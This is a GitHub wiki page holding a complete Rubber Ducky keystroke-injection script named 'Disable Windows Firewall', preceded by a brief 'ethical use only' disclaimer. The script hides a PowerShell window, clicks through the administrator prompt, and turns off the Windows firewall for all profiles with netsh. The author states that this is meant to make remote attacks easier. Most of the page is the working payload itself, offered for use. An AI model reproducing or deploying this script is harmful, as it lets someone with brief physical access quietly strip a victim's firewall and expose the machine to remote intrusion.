-
Notifications
You must be signed in to change notification settings - Fork 0
Disable Windows Firewall
Guereak edited this page Sep 30, 2022
·
2 revisions
/!\ ETHICAL USE ONLY: I am not responsible in any way for the use you make of this payload. Make sure to only use this on someone if you have their permission, or use on your own devices.
This was made for relatively fast devices. If you intend to use this on slower machines, feel free to tweak it by increasing the delay between entries.
The purpose of this ducky script is to disable Windows Defender's default firewall system. It does not disable Threat Protection, but facilitates remote attacks who might otherwise have been blocked by the firewall.
REM Author: Guereak
REM /!\ ETHICAL USE ONLY
REM Disable Windows Firewall
DELAY 300
GUI r
DELAY 100
STRING powershell -w hidden start-process powershell -verb runas
DELAY 100
ENTER
DELAY 2000
LEFT_ARROW
DELAY 100
ENTER
DELAY 300
STRING netsh advfirewall set allprofiles state off
DELAY 100
ENTER
DELAY 200
STRING exit
DELAY 100
ENTER